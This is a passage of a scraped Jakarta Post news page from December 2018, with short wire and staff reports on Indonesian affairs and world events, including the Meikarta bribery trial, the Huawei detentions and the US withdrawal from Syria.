of another country, Kalla told journalists on Monday. The Chinese Embassys spokesman said that, China and Indonesia have always supported each other on issues concerning respective major interests. I believe after knowing the real situation in Xinjiang, our Indonesian friends would better understand and support the Chinese government's efforts to combat terrorism and extremism and to safeguard stability and security in Xinjiang, he said. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 13:03 1078 75e76da2d15e495661b6357e2e331f60 1 National aceh,tsunami,bodies,workers,housing Free Construction workers on a public housing project in Kajhu Village in Aceh Besar, Aceh, were shocked to find 45 body bags bodies believed to be victims of the 2004 tsunami as they were excavating to build a septic tank. The workers said they did no know that part of the land for the housing project was actually a mass grave. Kajhu village was one of the worst hit areas when a 9.3-magnitude earthquake triggered a giant tsunami that killed hundreds of thousands of people in Aceh on Dec. 25, 2004. Around 85 percent of Kajhus residents were killed while those who survived the disaster decided to leave the village. Aceh Disaster Management Agency head Teuku Ahmad Dadek said the residents managed to identify at least four of the bodies by their IDs. The body of Sri Yunida, a Sei Karang resident, will be taken by her family," Ahmad Dadek said on Wednesday, as quoted by kompas.com. The remaining bodies will be moved to the villages graveyard. Samuel, a local, said that dozens of bags containing human bodies were found buried less than 1 meter underground. The residents helped dig up the mass grave following the finding of the body bags. "We believe the location of the housing project is a mass grave, but it was unknown because there was no sign of anything," Samuel said. The construction project, meanwhile, has been suspended. (ggq) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 15:00 1078 75e76da2d15e495661b6357e2e33bd40 1 Business Indonesia-Eximbank,LPEI,Medco-Papua-Hijau-Selara Free Indonesia Eximbank, also known as the Indonesian Export Financing Institution (LPEI), signed on Wednesday a sharia financing agreement with plantation company PT MedcoPapua Hijau Selaras (MPHS) in an effort to boost exports of palm oil products from Manokwari, West Papua. Under the cooperation, LPEI, which was established by the Finance Ministry, will provide a sharia financing scheme of Rp 150 billion (US$10.34 million) as well as consultation to MPHS. Finance Minister Sri Mulyani Indrawati said LPEI was established to help provide export financing with the hope it would boost foreign exchange reserves for the state. I have to thank LPEI, which has used the resources in Manokwari to boost exports that will have positive impacts on the people in the surrounding areas, said Sri Mulyani in a press statement issued by the ministry. Sri Mulyani stressed that LPEI did not only focus on profit, but would bring benefits to the people in the form of job creation, women empowerment and public infrastructure development, among other benefits. The press statement said that since 2010, MPHS had cooperated with 11 village cooperatives and employed 478 farmers. Until August 2016, the company had developed 2,684.65 hectares of plantation and employed some 1,500 people. Currently, MPHS exports its products through PT Sinar Mas Agro Resources and Technology and Wings Group. The Finance Ministry expects the financing to help the MPHS improve the quality of its products as the company was eying Indonesian Sustainable Palm Oil (ISPO) certificates, which require companies to carry out exports without cooperation with other parties. (bbn) Share this article Whatsapp Facebook Twitter Linkedin (The Jakarta Post) Bekasi Thu, December 20 2018 The Bekasi Population and Civil Registration Agency in West Java has announced that starting next year, it will be mandatory for students to possess child cards to be enrolled at schools. The agencys acting head, Jamus Rasidi, said the requirement would apply to all children under 17 years old. This is part of the requirements to enroll at schools. Basically, all children should have the cards before enrolling at schools, he said on Tuesday as quoted by kompas.com. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 16:01 1078 75e76da2d15e495661b6357e2e33e01d 1 City ahok,basuki-tjahaja-purnama,release,security Free The authorities are considering applying heavy security when former Jakarta governor Basuki "Ahok" Tjahaja Purnama is released from prison on Feb. 24 next year after serving time on a blasphemy conviction. If the situation does not allow regular protection, we will apply heavy security on the release day, the Law and Human Rights Ministrys correction facilities director general spokesman, Ade Kusmanto, said as quoted by kompas.com on Wednesday. Ade said the directorate would cooperate with the police in the matter. We expect Ahoks sympathizers will be there. We also predict the anti-Ahok crowd will be there on the day, Ade said. According to Ade, his office was responsible only for Ahoks safety inside the prison. After his release, his safety becomes the responsibility of the police, he said. Ahok was sentenced to two years in prison on May 9, 2017. He is expected to be released on Jan. 24, after receiving a two-month remission in August and another 15 days at Christmas last year. Ahok is expected to be given another one-month remission this Christmas. (gis) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 10:55 1078 75e76da2d15e495661b6357e2e32a535 1 Business IMF-WB-meeting,Luhut-Binsar-Pandjaitan,investment Free Coordinating Maritime Affairs Minister Luhut Pandjaitan has claimed that the International Monetary Fund (IMF)-World Bank (WB) Annual Meetings in October in Bali have helped the country boost its investment climate. Luhut said both the IMF and the World Bank had given the highest recommendations to investors about the investment climate in Indonesia when they spoke in several international meetings including the APEC meeting in Papua New Guinea in November. As the trust is built, its not going to be too difficult for us to seek investors, Luhut, who chaired the national organizing committee, said in a press conference, recently. I was also at an international meeting in South Korea recently and heard that Hyundai Motor announced its maiden electric vehicle investment plan in Indonesia, the minister said. Luhut further explained that some Taiwanese corporations such as Chinese Petroleum Corporation (CPC) Taiwan and a major assembler of Apple iPhones Pegatron planned to relocate their plants to the country. Meanwhile, National Development Planning Minister Bambang Brodjonegoro said 14 Indonesian state-owned companies had signed an agreement worth Rp 202 trillion after the event. Moreover, the ministrys non-state budget infrastructure funding (PINA) program had received investment worth Rp 47 trillion, he added. The IMF-World Bank Annual Meeting was attended by a number of heads of state, finance ministers, central bank governors and various organizations as well as business communities. During the event, the government promoted investment opportunities, mostly infrastructure projects, to potential investors from across the world. (das/bbn) Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Port Blair, India Thu, December 20, 2018 19:22 1078 75e76da2d15e495661b6357e2e344bd2 2 World #India,#religion,police,questioning,missionary,Christian,killing,Sentinelese Free One month after an isolated tribe killed an American missionary seeking to convert them, Indian police have still not tried to retrieve the body of John Allen Chau from his remote island grave. But they are still trying to interview two American missionaries suspected of encouraging Chau to go to North Sentinel in the Andaman Islands, in breach of a strict cordon put around its isolated inhabitants. Chau, 26, was cut down in a hail of arrows, according to fishermen who dropped him off nearby, as he marched towards the Sentinelese tribespeople with his "Jesus loves you" message. Investigators in the Indian Ocean chain of 500 islands will formally ask two American missionaries who had spoken with Chau before his death to give evidence, police said. "We have initiated the process of serving them a notice to be part of (the) investigation," local police chief Dependra Pathak told AFP. The notice, which would have to go between the Indian and US governments, would only require the Americans to answer questions. The identities of the Americans, a man and a woman, have not been given. They are known to have left India. Chau was killed in mid-November but news of his death only emerged six days later. The incident cast a new spotlight on efforts to protect one of the world's last "uncontacted" tribes, whose language and customs remain a mystery to the rest of the world. Outsiders are banned from travelling near the island to protect the tribe from outside diseases. Police have twice sent a vessel close to North Sentinel in a bid to see where Chau may have been killed. They acknowledge that it is unlikely that they would risk provoking the tribe by setting foot on the island. Anthropologists and activists for isolated tribal communities have called on Indian authorities not to try to retrieve the body. "We are still awaiting the firm view of the Anthropological Survey of India and field experts," Pathak said. "What we have gathered is that going over there is not desirable for their health and psychological wellbeing." Seven people, including six local fishermen, were arrested for helping Chau travel to the remote island. All were granted bail this week. Two Indian fishermen were killed in 2006 after their boat drifted onto North Sentinel. One week after their deaths, their bodies were put on stakes facing out to sea on the beach. Share this article Whatsapp Facebook Twitter Linkedin (The Jakarta Post) Medan Thu, December 20 2018 A panel of judges at the Medan District Court sentenced Faisal Abdi Lubis, 27, to 18 months in prison and fined him Rp 20 million (US$1,379) for insulting the Batak tribe on social media. He was found guilty of violating the Electronic Information and Transactions (ITE) Law. [The panel of judges] sentences [the defendant] to one year and six month in prison and Rp 20 million in fines, presiding judge Saryana said during the trial hearing on Monday evening. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Medan Thu, December 20, 2018 11:14 1078 75e76da2d15e495661b6357e2e32bb49 1 National batak,ITE-Law,insult,online Free A panel of judges at the Medan District Court sentenced Faisal Abdi Lubis, 27, to 18 months in prison and fined him Rp 20 million (US$1,379) for insulting the Batak tribe on social media. He was found guilty of violating the Electronic Information and Transactions (ITE) Law. [The panel of judges] sentences [the defendant] to one year and six month in prison and Rp 20 million in fines, presiding judge Saryana said during the trial hearing on Monday evening. The sentence is lower than the two years sought by the prosecutors. Faisal said he would not challenge the sentence. I accept it, he added. He also apologized to the Batak tribe Daniel Pardede, who reported Faisal for insulting the tribe on social media, said he was satisfied with the decision and had forgiven the defendant. Lubis posts concerned the defeat of gubernatorial candidate pair Djarot Saiful Hidayat and Sihar Sitorus. Batak people, eat that s***! read one of the postings. Djarot is Javanese while Sihar is Batak. Edy Rahmayadi, a retired army general and a Malay of the royal Deli house, and his running mate, Musa Rajekshah, won the North Sumatra election in June. This article was originally published in The Jakarta Post's print edition on Dec. 20, 2018, with the title "Island focus: Man convicted for insulting Batak tribe". Share this article Whatsapp Facebook Twitter Linkedin Arya Dipa (The Jakarta Post) Bandung Thu, December 20, 2018 10:16 1078 75e76da2d15e495661b6357e2e329d3a 4 National meikarta-bribery-case,Meikarta,corruption-case,corruption-eradication-commission,KPK,bandung,Bekasi-regency,Neneng-Nurhasanah-Yasin,billy-sindoro Free The Bandung Corruption Court kicked off on Wednesday the trial for a graft case surrounding the Meikarta township project in Bekasi, West Java, with suspended Bekasi regent Neneng Hasanah Yasin and project executives implicated in the case. Sitting on the bench were Billy Sindoro, a former executive with Lippo conglomerate, and project consultants and employees Henry Jasmen P. Sitohan, Fitradjadja Purnama and Taryudi. The prosecutors indicted the defendants for bribery and gratuity under the Corruption Law, which carries a maximum sentence of five years imprisonment and Rp 250 million (US$17,285) in fines. Prosecutor Yadyn said the case began when PT Mahkota Sentosa Utama, a subsidiary of PT Lippo Cikarang Tbk., planned in 2016 to build the Meikarta township megaproject on 438 hectares of land in Cibatu, South Cikarang, Bekasi regency. The plan included apartment buildings, a shopping mall, a hospital, a school building, a hotel, a residential compound and a business district. The development of the township was to be realized in three different stages. The first stage included the construction of 52 buildings and 13 basements on 143 h of land. To carry out the first phase of the project, the developer needed permits on land use, domestic investment, environment and construction. According to the indictment, the Lippo conglomerate ordered Billy to handle the permits. In April 2017, PT Lippo Cikarang land acquisition division head Edi Dwi Soesianto, his subordinate Satriadi and Bekasi spatial and development planning division head E. Yusup Taupik met with the regent at his residence. In the meeting, Edi Dwi Soesianto asked Neneng Hasanah Yasin to help them with the permit. Neneng responded by suggesting that they process the land use permit through E. Yusup Taupik, Yadyn said. The regent later issued a regental decree on the use of 846,356 square meters of land for commercial use in Cibatu village, South Cikarang, on May 12, 2017. After the permit was signed, Neneng Hasanah Yasin ordered E. Yusup Yaupik to contact Edi Dwi Soesianto to ask for Rp 10 billion in commitment fees, the prosecutor said. Edi later paid the money in six stages between June 2017 and January 2018 via Yusup and, in addition to the Rp 10 billion promised to Neneng, Edi also gave Yusup Rp 500 million, according to the indictment. To further persuade the local administration to adjust its spatial plan to accommodate the project, Edi and Satriadi allegedly promised Rp 2.5 billion to the Bekasi Spatial Planning and Housing Agency head. However, in the middle of the process, then-West Java deputy governor Deddy Mizwar called on the relevant authorities to halt the permit issuance pending a recommendation from the West Java governor. Later, Josep Christopher Mailool, Billys nephew, contacted Henry Jasmen P. Sihotang for help with the permits. Henry later involved Fitradjaja Purnama and Taryudi in the process. On Sept. 23, 2017, Billy allegedly discussed the issue with the three at a hotel in Cikarang. Please oversee the process, Billy told them as quoted by the prosecutor. According to the indictment, Billy and the project executives implicated in the case gave a total of Rp 16 billion and S$270,000 to regent Neneng and the executives gave Rp 1 billion and SG$90,000 to Bekasi Investment and Permit Agency head Dewi Tisnawati, Rp 1.2 billion to Bekasi Public Works and Housing Agency head Jamaludin and hundreds of millions of rupiah to several other agency heads. In May 2018, PT Lippo Cikarang requested a permit to build 53 apartment towers and 13 basements. After receiving money from PT Lippo Cikarang, Dewi Tisnawati approved the building permits for 24 apartment towers, the prosecutor said. Billy denied all the accusations. I hope that the judges will not consider circumstantial evidence, he said after the trial. This article was originally published in The Jakarta Post's print edition on Dec. 20, 2018, with the title "Meikarta corruption trial kicks off in Bandung". Share this article Whatsapp Facebook Twitter Linkedin (Bloomberg) Moscow, Russia Thu, December 20, 2018 18:20 1078 75e76da2d15e495661b6357e2e3430a6 2 World Putin,Russia,Nuclear,war,US,missile Free Russian President Vladimir Putin warned of a nuclear catastrophe if the US stations new missiles in Europe after going ahead with a threat to pull out of a landmark 1987 arms control treaty. For mankind this is very bad, because it will take us to a dangerous point, Putin said, expressing concern about moves to lower the threshold for the use of nuclear weapons, including the US decision to produce lower-yield missiles. This trend could lead to a global nuclear catastrophe, he said. Russia will be forced to develop new weapons systems, the Russian leader signaled. If missiles appear in Europe, what else can we do? Putin said. We are witnessing the collapse of the global system of deterrence. The US has said it has no plans to deploy new missiles in Europe after pulling out of the Intermediate-range Nuclear Forces Treaty. Russian President Vladimir Putin held his annual press conference on Thursday with more than 1,000 reporters from around the country and the world. He opened the event with his usual rundown of economic data, but is likely to be asked about foreign policy and domestic politics as well in an event that usually runs for several hours Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 13:32 1078 75e76da2d15e495661b6357e2e334dea 1 City religious-teacher,student,pregnant,arrest,Tangerang Free The Tangerang Police have arrested a religion teacher who allegedly impregnated a 17-year-old Quran recitation student in Solear district, Tangerang, Banten. The head of Tangerang Police crime division , Adj. Comr. Gogo Galesung, said the arrest was made after the police received reports from residents. He confessed [to the crime], Gogo said as quoted by kompas.com on Wednesday. However, the suspect reportedly told the police that he had married the girl with the blessings of her parents. He is being detained at the Tangerang Police headquarters to protect him from any backlash from residents. We're detaining him while we investigate the case, Gogo said. (gis) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 12:07 1078 75e76da2d15e495661b6357e2e32e248 4 Business trade-deficit,current-account-deficit,Faisal-Basri,comments Free The swelling trade and current account deficits are a serious matter for the countrys economy as it will negatively affect the rupiahs performance and the countrys resistance to the external pressure triggered by global economic uncertainty, economists say. The US$7.5 billion trade deficit is not a simple thing. Trade deficits occurred in eight out of the 11 months, said senior economist Faisal Basri as quoted by kompas.com on Thursday. He added that the current trade deficit figure was the worst in history, as the trade deficit had never before reached $7.5 million since the country gained its independence in 1945. Faisal, a University of Indonesia lecturer, blamed the failure of reform policy during President Joko Jokowi Widodos administration that prevented the country from boosting its exports. On Monday, Statistics Indonesia (BPS) announced that Novembers trade deficit reached US$2.05 billion, surpassing Julys $2.03 billion trade deficit, which was then the highest deficit in the last five years. The results have brought the year-to-date trade balance to minus $7.52 billion, with surpluses recorded only in March, June and September. The increase was triggered by a $1.46 billion monthly deficit in oil and gas trade despite declining oil prices. The reform in Pak Jokowis era only occurred in the first year of his administration. After that it only dealt with oil affairs, Faisal said, referring to the governments effort to maintain the current price of subsidized fuels that had contributed to the swelling of the subsidy allocation. Meanwhile, asset management company Samuel Aset Manajemen economist Lana Soelistianingsih said the widening trade deficit was worrying because it would see the current account deficit swell to higher than 3 percent, although previously, the government expressed its optimism to be able to maintain the figure below 3 percent. It is worrying because transactions in goods usually create a surplus, while other transactions produce deficits. However, now our transactions in goods are in deficit, she told kontan.co.id on Wednesday. Lana said she had not made detailed calculations on the current account deficit in 2018, but she believed it was unlikely the figure would be lower than 3 percent. Our estimation is that the current account deficit will be between 3.2 and 3.3 percent of GDP, she said, adding that the payments of foreign debt installments and of dividends, which were usually due at the end of the year, would worsen the current account deficit. She warned the swelling current account deficit would affect the rupiahs performance. Even if the rupiah can be maintained around Rp 14,300, the announcement of the current account deficit would negatively affect the currency, she added. (bbn) Share this article Whatsapp Facebook Twitter Linkedin Stanley Widianto (The Jakarta Post) Thu, December 20 2018 Bone breaking: The Indonesian film industry is becoming known for ultra-violent fight scenes and choreography, as seen in The Night Comes For Us, which was released through Netflix. (Courtesy of IMDB.com) The Indonesian film industry recorded another commercially successful year although in terms of quality no significant improvement was made, meanwhile players learned to adapt to emerging streaming services. Cheesy teen romances and comedies were the highlights of this years Indonesian film scene given the success of Dilan, 1990 during the first month of 2018. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Share this article Whatsapp Facebook Twitter Linkedin David Ljunggren (Reuters) Ottawa, Canada Thu, December 20, 2018 10:15 1078 75e76da2d15e495661b6357e2e3292a0 2 World #China,#Canada,justin-trudeau,Canadian,detained,China,Huawei,executive,arrest Free Canadian Prime Minister Justin Trudeau urged caution on Wednesday and said he would not be "stomping on a table" after China detained a third Canadian amid a diplomatic dispute over the arrest of a Chinese technology executive. The detentions of the Canadians - including one disclosed on Wednesday - followed the Dec. 1 arrest in Vancouver of Meng Wanzhou, chief financial officer of the Chinese telecommunications giant Huawei Technologies Co Ltd.. The arrest was made at the request of the United States, which is engaged in a trade war with China. Trudeau has been under pressure to take a more robust stand on the detentions, but said at a news conference: "Political posturing or political statements arent necessarily going to contribute. They might actually hinder Canadians release. Were going to take every situation carefully and seriously. "Canadians understand that even though political posturing might be satisfactory in the short term to make yourself ... feel like you're stomping on a table and doing something significant, it may not directly contribute to the outcome we all want, which is for these Canadians to come home safely." Trudeau said he was asking China for more information on the detentions. No details have been given on the latest, but Trudeau said it was "a very separate case" from last week when former Canadian diplomat Michael Kovrig and businessman Michael Spavor were detained amid the diplomatic quarrel triggered by Meng's arrest. The National Post newspaper said the latest detainee was a Canadian woman who was teaching English in China and was held because of "visa complications." Huawei is the worlds biggest supplier of telecoms network equipment and second-biggest smartphone seller. The United States has been looking since at least 2016 into whether Huawei shipped U.S.-origin products to Iran and other countries in violation of U.S. export and sanctions laws, Reuters reported in April. The Canadian government has said several times it saw no explicit link between the arrest of Meng, the daughter of Huaweis founder, and the detentions of Kovrig and Spavor. But Beijing-based Western diplomats and former Canadian diplomats have said they believed the detentions were a "tit-for-tat" reprisal by China. Bob Rae, Canada's special envoy to Myanmar and a former Liberal Party leader, tweeted on Wednesday that "there are no coincidences" and said the detentions looked "too much like hostage taking." An official at the Chinese Embassy in Ottawa said the embassy had no information to release on the issue. Meng is accused by the United States of misleading multinational banks about Iran-linked transactions, putting the banks at risk of violating U.S. sanctions. She was released on bail in Vancouver, where she owns two homes, while waiting to learn if she will be extradited to the United States. She is due in court on Feb. 6. U.S. President Donald Trump told Reuters last week he might intervene in the case if it would serve national security interests or help close a trade deal with China. The comments upset Canada, which warned the United States against politicizing extradition cases. Trudeau said a decision on whether to use Huawei equipment in Canada's 5G mobile network should be made by experts and not influenced by politics. BUYING TIME A source with direct knowledge of the situation said senior officials at the Canadian Foreign Ministry had held many meetings about the detainees but that a formal task force had yet to be created. "At this point, Canada is trying to buy time by stressing it has a rules-based order and an independent judiciary," said the source, who declined to be identified because of the sensitivity of the situation. A second source said Canada was concerned that the detainees were in the hands of the powerful security authorities. "Even if there were voices of reason in the Chinese system saying: 'Are you crazy? The Canadian government cannot order a judge to release Ms. Meng,' the security voices are going to trump them," the source said. Philip Calvert, a former diplomat in China and now a research fellow at the University of Victoria, said at least the first two detentions were indicative of "the way China often engages internationally in situations like this." "The people making the decisions in Beijing really think when push comes to shove, they can put pressure on Canada to override the system," he said. Flavio Volpe, president of Canada's Automotive Parts Manufacturers' Association, said on Wednesday he had spoken with a few Chinese automakers that are now delaying a decision to set up production facilities in Canada. The automakers, which Volpe declined to name, had been weighing whether to sell cars built in Canada to the North American market. The last time Canadians were detained in China for security reasons was in 2014 when Kevin and Julia Garratt, who ran a coffee shop in northeastern China, were held near the border with North Korea. She was released and left the country, while her husband was charged with spying and stealing state secrets before being released and deported two years later. The arrest of the Garratts came shortly after a Chinese businessman was picked up on a U.S. warrant in Canada. Share this article Whatsapp Facebook Twitter Linkedin Thomas Watkins (Agence France-Presse) Washington, United States Thu, December 20, 2018 09:31 1078 75e76da2d15e495661b6357e2e320c06 2 World #USA,#Syria,Donald-Trump,victory,IS,soldiers,home Free The Islamic State group has been "beaten" in Syria, US President Donald Trump declared Wednesday, as he confirmed his stunning order to pull American ground forces from the war-ravaged nation. The momentous decision to withdraw, which runs counter to long-established US policy for Syria and the region, blindsided lawmakers, the Pentagon and international allies alike. "We've won against ISIS," Trump said in a short video posted on Twitter. "We've beaten them and we've beaten them badly. We've taken back the land. And now it's time for our troops to come back home." A withdrawal could have extraordinary geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. A US official told AFP that Trump's decision was finalized Tuesday. "Full withdrawal, all means all," the official said when asked if the troops would be pulled from across Syria. Currently, about 2,000 US forces are in the country, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction after Trump earlier tweeted that IS had been "defeated." A spokeswoman eventually said the Defense Department had "started the process" of bringing troops home. Lawmakers assailed Trump's decision, saying it could embolden Ankara to attack US-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the president's decision was unwise and put the Kurds "at risk," while Democratic Senator Jack Reed said it amounted to a "betrayal" of the Kurds that "provides further evidence of President Trump's inability to lead on the world stage." Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced skepticism about the US presence in Syria, saying in March he wanted to bring troops home "soon." But military advisors and international allies warned Trump against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The US official would not provide a withdrawal timeline, saying only it would come "as quickly as possible." White House spokeswoman Sarah Sanders said the US-led coalition that includes dozens of nations would continue fighting the jihadists. "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said in a statement. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria. These have been ongoing since late 2014. A senior administration official, made available by the White House, said Trump's decision was consistent with comments he has made for years. "The notion that anyone within the administration was caught unaware, I would challenge that," the official said. "It was the president's decision to make, and he made it." - Fate of Kurdish fighters? - A large contingent of the main US-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces (SDF), is Kurdish. Turkey terms it a "terrorist" group. Ankara has said it plans to launch an operation against the Kurdish militia, known as the YPG (Kurdish People's Protection Units). While the YPG has spearheaded Washington's fight against IS, US support has strained relations between the NATO allies. In a sign of possible rapprochement, the State Department said it had approved the $3.5 billion sale of Patriot missiles and associated equipment to Turkey. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for years-old US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said "nobody is declaring a mission accomplished." "If we've learned one thing over the years, enduring defeat of a group like (IS) means you can't just defeat their physical space and then leave," he said. - 'Short-sighted and naive' - A government spokesman for Britain, which has long supported the anti-IS campaign in Syria, said "much remains to be done" against the jihadists. "We must not lose sight of the threat they pose. Even without territory, (IS) will remain a threat," a statement read. Australia Prime Minister Scott Morrison, who was on a pre-Christmas visit to troops stationed in Iraq, highlighted the work of the coalition and its "ongoing commitment to fighting Da'esh and its sympathizers," referring to the IS group. A US presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision "extraordinarily short-sighted and naive." "This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a US withdrawal," Lister said. IS jihadists swept across large swaths of Syria and neighboring Iraq in 2014, implementing their brutal interpretation of Islamic law in areas they controlled. But they have since seen their dream of a state crumble, as they have lost most of that territory to various offensives. In Syria, IS fighters are holding out in what remains of the pocket that once included Hajin, including the villages of Al-Shaafa and Sousa. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) North Padang Lawas Thu, December 20, 2018 10:44 1078 75e76da2d15e495661b6357e2e32a200 1 National Sumatran-tiger,endangered-species,wildlife,#environment,North-Sumatra Free A Sumatran tiger named Gadis gave birth to two healthy cubs at the Barumun Nagari Wildlife Sanctuary in North Padang Lawas regency, North Sumatra, on Dec. 8. The 4-year-old tiger had her right front paw amputated after it was caught in a pig trap in Mandailing Natal district in 2016. Henry Wijaya of the sanctuary said the cubs were healthy and are under the supervision of a team of veterinarians. The sex of the two newborns has not yet been determined. Hotmauli Sianturi of the North Sumatra Natural Resources Conservation Agency described the birth of the two cubs as good news for Sumatran tiger conservation in the province. Now we have two cute Sumatran tigers, she said. An official estimate from the Environment and Forestry Ministry states that the Sumatran tiger population currently stands at no more than 600 because of a loss of habitat and poaching. Meanwhile, a report in the Nature Communication Journal estimated that there were 618 adults in 2012, or a 20 percent drop from 742 in 2000. Conservationists have long criticized law enforcement officials for their failure to deter animal exploitation and illegal trade and what they describe as the weak implementation of the Natural Resources Conservation Law. This article was originally published in The Jakarta Post's print edition on Dec. 20, 2018, with the title "Island focus: 2 endangered tigers born in N. Sumatra". Share this article Whatsapp Facebook Twitter Linkedin Bambang Muryanto (The Jakarta Post) Yogyakarta Thu, December 20, 2018 18:33 1078 75e76da2d15e495661b6357e2e3442dd 4 National Yogyakarta,religion,grave,graveyard,cross,sultan-HBX Free The Yogyakarta administration has apologized to the family of the late Albertus Slamet Sugihardi after they were prohibited by their neighbors from holding prayers for their deceased relative and placing a wooden cross on his grave. Even though the incident was not intended, I, as a leader of the region, apologize to Bu Slamet and her entire family and also the Catholic Church officials in Yogyakarta and Kotagede who have been disturbed by the incident, Yogyakarta Governor Hamengkubuwono, who is also the 10th Yogyakarta sultan, told reporters on Thursday. This incident is a lesson to all of us. Yogyakarta leaders and people must uphold tolerance to maintain peace and harmony. The governor delivered the mea culpa three days after the incident, which sparked national outrage and forced the usually restrained Catholic Church to release one of its strongest statements against the authorities for allegedly failing to protect minority groups. Slamet, who died on Monday at the age of 63, was buried at a local cemetery in Purbayan. His neighbors, however, demanded that any Christian symbols be removed from his grave as the cemetery would be made exclusive for Muslims. When the family brought a wooden cross to be put on his grave, the community decided to cut part of it off with a saw. Read also: 'This is community consensus': Yogyakarta villagers destroy cross on public cemetery The governor insisted that Yogyakarta was a tolerant province, claiming that Slamets family and the local community had made an agreement to maintain harmony. He added, however, that the Purbayan residents acted in ways that were not in line with the Constitution. We understand the Constitution and the law. But there is no guarantee that the people understand it. It is possible they are looking for practical solutions. The point is that they looked for a solution to prevent tension. He lamented that the incident went viral on social media, which he said did not provide a complete picture of what happened. He said he was informed that the villagers helped Slamets family with his funeral and that the act of cutting the cross was done to preserve harmony. Perhaps the community was only trying to be practical. Meanwhile, there is a constitutional reference on religious symbols. That was ignored. Previously, the Semarang Catholic Archdiocese claimed the incident in Purbayan was a violation against the state ideology Pancasila and the 1945 Constitution. The church reached the conclusion following an investigation conducted by its commission on peace and justice in Yogyakarta. The duty of the security agency and the government is to protect the human rights and basic rights of citizens, Agus Sumartoyo, who heads the commissions investigative team, said in a statement on Wednesday. The commission claimed Slamets family had to deal with acts of intolerance despite his efforts to live harmoniously with his neighbors. They were even once physically threatened, Agus said. The team sent out by the commission also found that a written statement indicating that Maria Sutris Winarni, Slamets wife, would not make an issue of the incident was drafted and sent to her by seven people representing village officials, the police and the local military command. Winarni told the church she was told to sign the statement to diffuse tension on social media over the incident. Father Paulus Christian Siswantoko from the Bishops Council of Indonesia (KWI) said he hoped the local government would be impartial and create a forum where all parties could sit together to get to the root of the problem to prevent it from spiraling into something bigger. If there is indeed any indication that this had been planned, then this is a sign that intolerance has become a serious problem in Yogyakarta, he said. Share this article Whatsapp Facebook Twitter Linkedin (The Jakarta Post) Jakarta Fri, December 21 2018 Coordinating Maritime Affairs Minister Luhut Pandjaitan has claimed that the 2018 Annual Meetings of the International Monetary Fund and World Bank Group in October in Bali have helped the country boost its investment climate. Luhut said both the IMF and the World Bank had given the highest recommendations to investors about the investment climate in Indonesia when they spoke in several international meetings including the APEC meeting in Papua New Guinea in November. As the trust is built, its not going to be too difficult for us to seek investors, Luhut, who chaired the national organizing committee, said in a press conference, recently. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Share this article Whatsapp Facebook Twitter Linkedin Arya Dipa (The Jakarta Post) Bandung, West Java Thu, December 20, 2018 17:38 1078 75e76da2d15e495661b6357e2e341b10 1 News Volcano,#volcano,volcanic-activity,volcanic-eruption,#volcanic-eruption,year-end-holidays,Holiday,#holiday,travel,#travel,traveling,#traveling,travelers,destination,tourism Free Following the announcement of above-normal levels of activity at 20 volcanoes across the country, the Center for Volcanology and Geological Hazard Mitigation (PVMBG) has asked travelers to stay alert while visiting volcanic areas. The PVMBG head of western region volcanic mitigation, Kristianto, said the center had sent teams to several locations, namely Mount Sinabung in Karo regency, North Sumatra; Mount Anak Krakatau (Child of Krakatau) in the Sunda Strait, South Lampung regency, Lampung; and Mount Soputan in Minahasa, North Sumatra, for 24-hour observation of volcanic activity. In addition to sending teams, the center also focused on monitoring volcanoes that served as popular holiday destinations, such as Mount Tangkubanparahu, Mount Gede and Mount Papandayan in West Java, the Dieng Plateau in Central Java and Mount Bromo in East Java. The PVMBG had established lines of communication and coordinated with tourist management groups in the areas to urge that they remain cautious. Read also: 20 volcanoes across Indonesia currently showing above normal activity Coordination is considered important as some of the volcanoes could erupt without or with no significant warnings. For travelers who want to visit the volcano areas, Kristianto suggested that they research beforehand and frequently check on the status of volcano activity. The PVMBG sent recommendations to local administrations and tourist management groups on the volcanic activity of each volcano. If the activity seems normal, check our recommendations on which areas should be avoided, added 